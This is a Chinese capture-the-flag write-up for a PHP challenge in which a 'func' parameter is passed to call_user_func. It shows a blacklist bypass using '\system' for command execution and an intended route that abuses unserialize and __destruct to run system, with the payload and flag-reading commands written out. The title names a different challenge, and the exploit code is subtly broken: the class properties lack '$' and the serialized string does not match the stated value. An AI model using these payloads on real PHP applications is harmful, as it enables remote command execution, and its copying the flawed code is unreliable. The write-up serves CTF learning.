[BJDCTF2020]The mystery of ip
非预期
这题看着就不简单,页面总是刷新,报错都看不清,bp抓包看看。
bp抓到的包是一个用POST传参的传参的值为一个函数,试着修改一下这个函数,看看会有什么变化,输入system发现被过滤了,八成这个waf做得很完善,但正好之前看到一个骚姿势,可以使用\system
,php在做代码执行的时候,会识别特殊字符串
可以发现已经可以执行system命令了,但是在根目录下面找不到flag
system(“find / -name flag”):查找所有文件名匹配flag的文件
直接获得flag
预期
highlight_file看一看我们的源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
过滤了很多的函数,但是可以尝试一下反序列化
<?php
class Test{
var p="ls /";
var func="system";
}
<?php
echo serialize(new Test());
?>
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
然后就和上面那个一样了,如果不想用反序列化读取flag也可以使用readfile(/tmp/flagoefiu4r93)